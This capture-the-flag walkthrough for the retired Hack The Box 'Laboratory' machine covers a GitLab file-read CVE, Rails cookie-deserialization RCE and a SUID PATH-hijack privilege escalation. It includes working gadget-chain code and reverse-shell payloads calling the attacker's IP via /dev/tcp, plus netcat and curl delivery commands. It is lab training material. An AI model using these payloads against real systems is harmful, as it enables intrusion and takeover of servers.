Hack The Box
Hack The Box: Laboratory Walkthrough
An archived walkthrough of the retired Hack The Box Laboratory machine, preserved from Abdullah Kareem's OSWE Prep preparation notes.

Difficulty: Easy | OS: Linux | IP: 10.129.12.122
The Mindset Before You Start
Every machine on HackTheBox (and in real pentests) follows a repeatable mental model:
- Reconnaissance — figure out what's running
- Enumeration — dig deeper into what you find
- Exploitation — abuse a vulnerability to get access
- Post-Exploitation — move laterally and escalate privileges
You always start from zero knowledge and build your picture of the target incrementally. The goal is to find the weakest link — the thing the machine owner forgot to lock down.
Phase 1 — Reconnaissance
Step 1: Update /etc/hosts
Before scanning, we set our attacker IP as a variable for convenience:
Attacker IP: 10.10.16.84
Target IP: 10.129.12.122
Why? On HTB machines, web servers often use virtual hosting — they serve different content depending on the Host: header in HTTP requests. If you just browse to the IP, you might miss entire sites. We need the hostnames to access those virtual hosts.
Step 2: Nmap Port Scan — Find Open Doors
sudo nmap -p- --min-rate 10000 -oA lab-alltcp 10.129.12.122
What this does:
-p-— scan ALL 65535 ports, not just the common 1000--min-rate 10000— send at least 10,000 packets per second (fast)-oA— save output in all formats for later reference
Why scan all ports? Services can run on non-standard ports. A developer might put a management panel on port 8443 or a database on 3306. If you only scan the top 1000, you might miss it. On HTB machines especially, scanning all ports is mandatory.
Result:
22/tcp open ssh
80/tcp open http
443/tcp open https
Three services. SSH (remote access), HTTP (web), HTTPS (encrypted web). This tells us it's a web application server.
Step 3: Detailed Service Scan — What Versions?
sudo nmap -p 22,80,443 -sCV 10.129.12.122
What this does:
-sC— run default NSE scripts (automated checks)-sV— detect service versions- Focused on just the three open ports (faster)
Why version detection? Every piece of software has known vulnerabilities. Once you know "this is Apache 2.4.41" or "this is GitLab 12.8.1", you can search for public exploits. Version = attack surface.
Critical finding from the TLS certificate:
ssl-cert: Subject: commonName=laboratory.htb
Subject Alternative Name: DNS:git.laboratory.htb
Hacker mindset: TLS certificates are goldmines for reconnaissance. They're signed identity documents — they tell you the real hostname(s) the server was configured for. The SAN (Subject Alternative Name) field reveals git.laboratory.htb — a subdomain we wouldn't have found any other way at this stage.
Step 4: Add Hostnames to /etc/hosts
echo "10.129.12.122 laboratory.htb git.laboratory.htb" | sudo tee -a /etc/hosts
Why? Your computer resolves hostnames to IPs using DNS. Since this is a private HTB machine, there's no DNS server that knows about laboratory.htb. By adding it to /etc/hosts, we manually tell our computer "when you see laboratory.htb, connect to 10.129.12.122". Without this step, your browser would fail to load the site.
Phase 2 — Enumeration
Step 5: Browse the Web Application
Visiting https://laboratory.htb shows a static company website — a security consultancy. Not much to attack directly.
Visiting https://git.laboratory.htb reveals GitLab Community Edition.
Hacker mindset: GitLab is an extremely common target because:
- It's often misconfigured (public registration allowed)
- It contains source code with secrets (passwords, API keys)
- It runs complex Rails code that has had historical vulnerabilities
- The version number is often visible in the UI
Step 6: Identify the GitLab Version
After registering an account (using anything@laboratory.htb — the server rejects non-laboratory.htb emails), go to https://git.laboratory.htb/help.
Version: GitLab Community Edition 12.8.1
Why register? Many GitLab vulnerabilities require authentication. An attacker registering a free account is a completely normal action — it's how the software is designed to work. From an authenticated position, you have a much larger attack surface.
Why check the version? This is the single most important piece of information. With a version number, you can search:
searchsploit gitlab 12- Google:
gitlab 12.8.1 exploit - CVE databases
This reveals CVE-2020-10977 — an arbitrary file read vulnerability affecting GitLab <= 12.9.0.
Phase 3 — Exploitation (Getting a Foothold)
Step 7: CVE-2020-10977 — Arbitrary File Read
The vulnerability explained:
When you create an issue in GitLab and attach an image using Markdown like:

GitLab processes this upload path. The bug: if you move the issue to a different project, GitLab re-processes the upload path WITHOUT properly sanitizing directory traversal sequences (../../../). This lets you read ANY file the GitLab process has permission to read.
How to exploit it manually:
- Create two projects:
proj1andproj2 - In
proj1, create an issue with this description: - Move the issue to
proj2using the "Move issue" option in the right sidebar - In
proj2, the issue now has a file attachment — click it to download/etc/passwd
Hacker mindset: The [redacted retired-lab hash or flag] is a fake upload hash (32 chars). GitLab's file server resolves the path starting from the uploads directory. The ../../../../../../ sequences navigate UP the directory tree all the way to the filesystem root, then descend into etc/passwd. This is a classic path traversal attack.
Step 8: Read secrets.yml — The Master Key
The real target isn't /etc/passwd — it's the Rails application's secret key. We read:
/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml
This file contains:
production:
secret_key_base: [redacted encoded lab material]
Why is this important? Rails uses secret_key_base to cryptographically sign cookies. It's the HMAC signing key. If you know this secret, you can:
- Forge any cookie value
- Make Rails trust and deserialize it
- Achieve Remote Code Execution through Ruby object deserialization
This is the pivot from "read files" to "run code". The file read vulnerability becomes an RCE vulnerability because we know the secret.
Step 9: Understanding the Deserialization Attack
What is deserialization?
Rails stores signed cookies as:
base64(Marshal.dump(ruby_object))--HMAC_signature
When Rails receives a request with a signed cookie, it:
- Verifies the HMAC signature (to confirm the cookie wasn't tampered with)
- Deserializes the Marshal binary data back into a Ruby object
- Uses that object in the application
The attack: If we know the secret_key_base, we can sign our OWN malicious cookie. We craft a Ruby object that executes shell commands when deserialized. Rails trusts our signature, deserializes the object, and runs our code.
The gadget chain:
# ERB is Ruby's templating engine
# <%= `command` %> executes a shell command when result() is called
erb = ERB.new("<%= `bash -c 'bash -i >& /dev/tcp/10.10.16.84/4444 0>&1'` %>")
# DeprecatedInstanceVariableProxy is an ActiveSupport class
# When ANY method is called on it, it calls target() which calls erb.result()
# This triggers the ERB evaluation (and our shell command)
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(
erb, :result, "@result", ActiveSupport::Deprecation.new
)
# Signing it with our stolen secret key
verifier = ActiveSupport::MessageVerifier.new(derived_key, serializer: Marshal)
cookie_value = verifier.generate(depr)
When the target GitLab receives this cookie, it deserializes the proxy object. The moment Rails accesses ANY property or calls ANY method on it (which happens automatically), the proxy calls erb.result, which evaluates the ERB template, which runs our bash reverse shell.
Step 10: The Ruby Version Problem and How We Solved It
The challenge: We can't just run this Ruby code anywhere.
- We tried Ruby 3.3 (system Ruby) — FAILED.
ERBobjects have singleton classes in Ruby 3.x that prevent Marshal serialization. Error:singleton class can't be dumped - We tried Docker with GitLab 12.8.1 (amd64 image) — FAILED. Our Kali machine is ARM64 (Apple Silicon / ARM chip), and the GitLab Docker image is x86-64 only.
- We tried Ruby 2.7 (arm64 Docker image) — FAILED. Same singleton class issue.
The solution: GitLab 12.8.1 uses Ruby 2.6 (you can see this from the path /opt/gitlab/embedded/lib/ruby/gems/2.6.0/). In Ruby 2.6, ERB objects CAN be Marshal'd. We use an ARM64 Ruby 2.6 Docker image:
sudo docker pull arm64v8/ruby:2.6-alpine
sudo docker run --rm arm64v8/ruby:2.6-alpine sh -c "
gem install zeitwerk -v 2.6.18 --no-document -q &&
gem install activesupport -v 6.0.2 --no-document -q &&
ruby -e '..cookie generation code..'
"
Hacker mindset: When something fails, ask "why?" and "what's different about the target environment?" The version mismatch between our attack machine and the target is the reason. Always match your exploit environment to the target's environment as closely as possible.
Step 11: Generate and Send the Cookie
The Docker container outputs our malicious cookie:
BAhvOkBBY3RpdmVTdXBwb3J0...--[redacted retired-lab hash or flag]
Start a netcat listener:
nc -lvnp 4444
Send the cookie:
curl -k -s "https://git.laboratory.htb/users/sign_in" \
-b "experimentation_subject_id=BAhvOk..." \
-o /dev/null
Why experimentation_subject_id? GitLab uses this cookie for A/B testing features. The middleware that reads and deserializes this cookie runs on EVERY request, including unauthenticated ones. This is the attack vector — we don't need to be logged in.
Why send to /users/sign_in? It's a publicly accessible endpoint that will trigger the middleware. Any endpoint would work, but this is simple and reliable.
Result: Shell as git inside the GitLab Docker container.
git@git:~/gitlab-rails/working$ id
uid=998(git) gid=998(git) groups=998(git)
Phase 4 — Post-Exploitation (Inside the Container)
Step 12: Container Enumeration
We're inside a Docker container, not the actual host machine. How do we know?
- No users in
/home /proc/net/fib_trieshows IP172.17.0.2(Docker bridge network)- The
/.dockerenvfile exists
Hacker mindset: Getting a shell is just the beginning. You need to understand your position:
- What user are you?
- What machine are you actually on?
- What can you reach from here?
- What secrets are accessible from this position?
Step 13: Reset Dexter's Password via GitLab Rails Console
We have access to the GitLab application. The git user can run gitlab-rails console — a direct Ruby interactive console connected to the GitLab database.
gitlab-rails console
user = User.where(id: 1).first # User ID 1 is always the first admin
# => #<User id:1 @dexter>
user.password = REDACTED
user.password_confirmation = 'Password123!'
user.save!
# => true
Why? Dexter is the GitLab admin. Admins can see all projects including private ones. After resetting the password, we log into the GitLab web interface as dexter and find a private repository called SecureDocker.
Hacker mindset: In enterprise environments, admins often store sensitive materials in "private" repositories — SSH keys, credentials, deployment scripts. Gaining admin access to a code repository is often as valuable as gaining server access because developers store secrets there.
Step 14: Extract Dexter's SSH Private Key
Inside the SecureDocker repository, dexter stored his personal SSH private key at .ssh/id_rsa. We download it.
This key gives us the ability to SSH directly into the host machine (not just the container) as dexter.
Phase 5 — Accessing the Host Machine
Step 15: The OpenSSL 3.x Compatibility Issue
ssh -i dexter_.ssh_id_rsa dexter@laboratory.htb
# Load key "dexter_.ssh_id_rsa": error in libcrypto: unsupported
Why does this fail? Our Kali Linux has OpenSSL 3.6.2 installed. OpenSSL 3.x has stricter security policies and removed support for certain legacy key operations. Dexter's SSH key was generated on the target machine (Ubuntu 20.04 with an older OpenSSL), and something about the key's format or parameters doesn't meet OpenSSL 3's requirements.
The fix — use Python's Paramiko library:
Paramiko is Python's SSH implementation. It uses the cryptography Python library (which has its own key handling) rather than calling the system's OpenSSL directly. This bypasses the compatibility issue entirely.
import paramiko
k = paramiko.RSAKey.from_private_key_file('/home/kali/Downloads/htb/dexter_.ssh_id_rsa')
c = paramiko.SSHClient()
c.set_missing_host_key_policy(paramiko.AutoAddPolicy())
c.connect('laboratory.htb', username='dexter', pkey=k)
stdin, stdout, stderr = c.exec_command('id && cat ~/user.txt')
print(stdout.read().decode())
Hacker mindset: When a tool fails, use a different tool. The goal is to achieve the action (SSH with a key), not to use a specific binary. Paramiko, puttygen, openssl, or even a different OS could all solve this problem. Think about the goal, not the method.
User flag: 30c431[redacted]c3646856
Phase 6 — Privilege Escalation (User to Root)
Step 16: Enumerate SUID Binaries
SUID (Set User ID) binaries run as their owner regardless of who executes them. A binary owned by root with SUID set will run as root even if a regular user executes it.
find / -perm -4000 -user root -ls 2>/dev/null
The interesting result:
7838 20 -rwsr-xr-x 1 root dexter 16720 Aug 28 2020 /usr/local/bin/docker-security
Note: this binary is owned by root (runs as root when executed) but is in the dexter group (dexter can execute it). It's only 16KB — this is a custom binary, not a standard system tool.
Hacker mindset: Standard system SUID binaries (sudo, passwd, etc.) are well-audited and hard to exploit. Custom SUID binaries written by the box creator are almost always intentionally vulnerable. A 16KB custom SUID binary called docker-security is a massive red flag and should be the first thing you analyze.
Step 17: Analyze the SUID Binary with ltrace
ltrace intercepts library calls made by a program. For this binary:
ltrace docker-security
Output:
setuid(0)
setgid(0)
system("chmod 700 /usr/bin/docker"...)
system("chmod 660 /var/run/docker.sock"...)
The vulnerability revealed:
The binary calls system("chmod 700 /usr/bin/docker") — it runs chmod without a full path. When a program calls system("chmod"), Linux searches for chmod in the directories listed in the PATH environment variable, in order.
If we control the PATH variable, we control which chmod binary gets executed.
Step 18: PATH Hijack — The Attack
The concept:
The binary does (pseudocode):
setuid(0) ← become root
setgid(0) ← become root group
system("chmod 700 /usr/bin/docker") ← runs "chmod" from PATH
If we create our own script called chmod in /tmp and put /tmp FIRST in the PATH, then when docker-security runs chmod, it runs OUR chmod instead of /usr/bin/chmod. And since docker-security has already called setuid(0), our script runs as root.
The exploit:
# Via paramiko since we can't easily SSH interactively
cmds = """
printf '#!/bin/bash\nbash -i >& /dev/tcp/10.10.16.84/5555 0>&1\n' > /tmp/chmod
chmod +x /tmp/chmod
export PATH=/tmp:$PATH
/usr/local/bin/docker-security
"""
Breaking this down:
printf '#!/bin/bash\nbash...' > /tmp/chmod— create a script namedchmodthat opens a reverse shell. The#!/bin/bashshebang is REQUIRED — without it, the system uses/bin/shwhich doesn't support>&redirect syntax.chmod +x /tmp/chmod— make our fake chmod executable (using the REAL chmod, since PATH hasn't been changed yet)export PATH=/tmp:$PATH— prepend/tmpto PATH so our fake chmod is found first/usr/local/bin/docker-security— trigger the exploit
Result:
root@laboratory:~# id
uid=0(root) gid=0(root) groups=0(root),1000(dexter)
Root flag: 17d585[redacted]11843934f7
Summary of the Full Attack Chain
[ATTACKER] nmap scan
→ Discovers ports 22, 80, 443
→ TLS cert reveals git.laboratory.htb
[ATTACKER] Browse git.laboratory.htb
→ GitLab 12.8.1 — vulnerable to CVE-2020-10977
[CVE-2020-10977] Arbitrary file read
→ Read /opt/gitlab/embedded/.../secrets.yml
→ Extract secret_key_base
[COOKIE DESERIALIZATION] Forge malicious Rails cookie
→ Use Ruby 2.6 + activesupport 6.0.2 in Docker
→ Sign with stolen secret_key_base
→ Send as experimentation_subject_id cookie
[RCE] Shell as git inside GitLab Docker container
[GITLAB RAILS CONSOLE] Reset dexter's password
→ Access dexter's private SecureDocker repo
→ Extract dexter's SSH private key
[SSH as dexter] Use Python paramiko (OpenSSL 3 bypass)
→ USER FLAG: 30c43[redacted]ebc3646856
[SUID + PATH HIJACK] /usr/local/bin/docker-security
→ Calls system("chmod") without full path
→ Place malicious chmod in /tmp, prepend to PATH
→ SUID binary runs our chmod as root
[ROOT] ROOT FLAG: 17d585[redacted]3934f7
Key Lessons and Takeaways
1. Certificates leak information
TLS certs often contain internal hostnames in SAN fields. Always check them with nmap or openssl s_client.
2. Version numbers are everything
Knowing the exact software version turns "there's a web app here" into "there's a specific CVE here". Always fingerprint software versions.
3. File reads can escalate to RCE
An arbitrary file read vulnerability sounds less scary than RCE, but if you can read the right file (like Rails secrets.yml or SSH private keys), it becomes effectively equivalent to RCE.
4. Match your environment to the target
The deserialization exploit failed in Ruby 2.7 but worked in Ruby 2.6 because that's what the TARGET runs. Always research what runtime version the target uses and replicate it.
5. Docker containers are not the end
Getting a shell inside a container isn't the end of the exploit chain. Use the container's privileged access to its application (GitLab in this case) to pivot to the host.
6. SUID binaries with relative paths = PATH hijack
Any SUID binary that calls system("program") without a full path like system("/usr/bin/program") is vulnerable to PATH hijacking. ltrace and strace are your best friends for finding these.
7. Tools fail, goals don't change
When ssh failed with OpenSSL 3.x errors, the goal was still "authenticate as dexter via SSH key". Python's Paramiko achieved the same goal with a different tool.